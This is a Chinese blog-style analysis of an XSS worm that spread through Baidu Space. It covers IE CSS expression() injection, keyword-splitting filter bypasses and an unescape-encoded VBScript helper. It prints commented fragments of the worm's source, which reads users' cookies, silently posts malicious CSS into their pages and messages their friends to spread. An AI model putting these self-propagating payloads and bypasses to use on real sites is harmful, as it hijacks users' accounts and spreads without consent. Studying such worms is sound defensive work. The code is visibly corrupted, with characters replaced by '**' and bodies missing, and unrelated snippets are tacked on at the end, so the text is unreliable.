百度XSS Worm 分析

2021-08-17 21:39:27 字數 4822 閱讀 3716

css expression(css表示式)可以在css中定義表示式(公式)來達到建立元素間屬性之間的聯絡等作用,從ie5開始支援,最後因為標準、效能、安全性等問題,微軟從ie8 beta2 開始取消對 css expression的支援。

也就是說可以在css**後面插入一段js**,css的屬性值為其後的js**計算出來的值。這樣就帶來了安全隱患,可以在css中插入惡意js**。

2.execscript不論在什麼作用域中呼叫,其表示式或語句中字串都將在全域性作用於內執行。而eval在是在它被呼叫的作用於內執行它所接受到的表示式或語句字串。

參看 execscript和eval的區別

可將 defer 屬性加入到 標籤中,以便加快處理文件的速度。因為瀏覽器知道它將能夠安全地讀取文件的剩餘部分而不用執行指令碼,它將推遲對指令碼的解釋,直到文件已經顯示給使用者為止。

只有 internet explorer 支援 defer 屬性

。1.先在自己的空間中寫入惡意**,通過expression函式在css中插入惡意**,通過構造exp/**/ression來繞過過濾。

2.然後在execscript中寫入一段加密的**並用unescape解碼,然後交給execscript執行

3.解碼後的**中構造"doc"+"ument" 來繞過過濾,這點與samy的xss worm 有異曲同工之妙。

4.然後建立乙個標籤載入 中的惡意**

5.設定defer屬性來來延遲執行 src=

中的惡意**,等到所有元素都解析完成後

6.向head中新增子節點即把x中的惡意**新增到head中

7.通過inject()函式來設定load()函式的執行頻率,防止expression對其內部**多次執行

原始碼:解碼:

execscript(i)

1.將乙個vbcript函式編碼,該函式叫做urlencoding用來把遠端返回的資料正確編碼

3.建立xmlhttprequest用於在後台偷偷傳送資料

4.如果該cookie中沒有xssshell標誌,執行goteditcss函式

5.goteditcss函式呼叫getmydata函式返回src中的頁面原始碼,然後呼叫蠕蟲核心**makeevilcss

//function urlencoding(vstrin)

// strreturn = ""

// for aaaa = 1 to len(vstrin)

// thischr = mid(vstrin,aaaa,1)

// if abs(asc(thischr))

execscript(unescape('function%20urlencoding%28vstrin%29%0a%20%20%20%20strreturn%20%3d%20%22%22%0a%20%20%20%20for%20aaaa%20%3d%201%20to%20len%28vstrin%29%0a%20%20%20%20%20%20%20%20thischr%20%3d%20mid%28vstrin%2caaaa%2c1%29%0a%20%20%20%20%20%20%20%20if%20abs%28asc%28thischr%29%29%20%3c%20%26hff%20then%0a%20%20%20%20%20%20%20%20%20%20%20%20strreturn%20%3d%20strreturn%20%26%20thischr%0a%20%20%20%20%20%20%20%20else%0a%20%20%20%20%20%20%20%20%20%20%20%20innercode%20%3d%20asc%28thischr%29%0a%20%20%20%20%20%20%20%20%20%20%20%20if%20innercode%20%3c%200%20then%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innercode%20%3d%20innercode%20+%20%26h10000%0a%20%20%20%20%20%20%20%20%20%20%20%20end%20if%0a%20%20%20%20%20%20%20%20%20%20%20%20hight8%20%3d%20%28innercode%20%20and%20%26hff00%29%5c%20%26hff%0a%20%20%20%20%20%20%20%20%20%20%20%20low8%20%3d%20innercode%20and%20%26hff%0a%20%20%20%20%20%20%20%20%20%20%20%20strreturn%20%3d%20strreturn%20%26%20%22%25%22%20%26%20hex%28hight8%29%20%26%20%20%22%25%22%20%26%20hex%28low8%29%0a%20%20%20%20%20%20%20%20end%20if%0a%20%20%20%20next%0a%20%20%20%20urlencoding%20%3d%20strreturn%0aend%20function'),'vbscript');

//unescape把後面的**解碼後,交給execscript執行。execsrcipt函式與eval函式相似但是有區別

cookie='';

cookieval=document.cookie; //獲得當前使用者的cookie

//初始化xmlhttprequest物件,ajax要在這使用

xmlhttp=poster(); //建立 xmlhttprequest物件

debug=0;

online();

if(spaceurl!='')

//如果使用者本地cookie中不含xssshell標誌,則執行goteditcss函式,下面有定義

if(cookieval.indexof('xssshell')==-1)

}}function makeevilcss(spaceid,editurl,use)

//否則……

else spcsstext=spcsstext+"\r\n\r\n"+playload;

re = /\/i;

spcssname = s.match(re);

spcssname=spcssname[2];

re = /\/i;

spcsstag = s.match(re);

spcsstag=spcsstag[2];

postdata="ct="+ct+"&spcssuse=1"+"&spcsscolorid=1"+"&spcsslayoutid=-1"+"&sprefurl="+urlencoding(sprefurl)+"&sprefurl="+urlencoding(sprefurl)+"&cm="+cm+"&spcssid="+spcssid+"&spcsstext="+spcsstext+"&spcssname="+urlencoding(spcssname)+"&spcsstag="+urlencoding(spcsstag);

result=postmydata(action,postdata);

//呼叫好友傳送資訊函式

sendfriendmsg();

//統計感染使用者總數

count();

//成功

hack();

}//此函式初始化資料,呼叫核心功能函式makeevilcss

function goteditcss()

//建立xmlhttprequest物件

function poster()

} else if(window.activexobject)

//xmlhttprequest物件使用get方式非同步傳送資料

//"+spaceid+"/modify/spcrtempl/0開啟,然後獲得該頁面的text

function getmydata(action)

function killerrors()

//統計感染使用者總數

function count()

function online()

function hack()

//好友傳送資訊函式,當你收到這樣的訊息那就要注意了

function sendfriendmsg();

re = /(.+)d\(k\,\[([^\]]+?)\]\)(.*)/g;

friends = s.match(re);

eval(friends[0]);

for(i in k)

}

被加密的vbscript如下

'function urlencoding(vstrin)

strreturn = ""

for aaaa = 1 to len(vstrin) //迴圈 vstrin的程度

thischr = mid(vstrin,aaaa,1) //

if abs(asc(thischr)) < &hff then

strreturn = strreturn & thischr

else

innercode = asc(thischr)

if innercode < 0 then

innercode = innercode + &h10000

end if

hight8 = (innercode and &hff00)\ &hff

low8 = innercode and &hff

strreturn = strreturn & "%" & hex(hight8) & "%" & hex(low8)

end if

next

urlencoding = strreturn

end function'

面試分析(百度)

這是別人面試的題目,我自己無聊嘗試完成下 1.給乙個函式,返回0和1,概率為p和 1 p 請你實現乙個函式,使得返回0和1概率一樣。分析 該問題在左騰雲的書上有講過,思路一般利用乘和加數學方式完成,該題共分母 p 1 p 回答 設f x 為0 p 1 1 p p f x 為0 p 1 1 p 1 p...

百度產品分析

我本身不是做網際網路的,但是是想做網際網路的。網際網路起來這麼多公司,我們做管理軟體的,十幾年如一日,盈利模式一點沒有變,和網際網路一點關係也沒有。所以,管理軟體廠商如何走入網際網路,是我一直關注的。所以也研究網際網路的盈利模式。關於寬頻網上的教育,我一直看好。不過中國人,大人不學習,硬逼著孩子學習...

百度分詞演算法分析

隨著搜尋經濟的崛起,人們開始越加關注全球各大搜尋引擎的效能 技術和日流量。作為企業,會根據搜尋引擎的知名度以及日流量來選擇是否要投放廣告等 作為普通網民,會根據搜尋引擎的效能和技術來選擇自己喜歡的引擎查詢資料 作為技術人員,會把有代表性的搜尋引擎作為研究物件。搜尋引擎經濟的崛起,又一次向人們證明了網...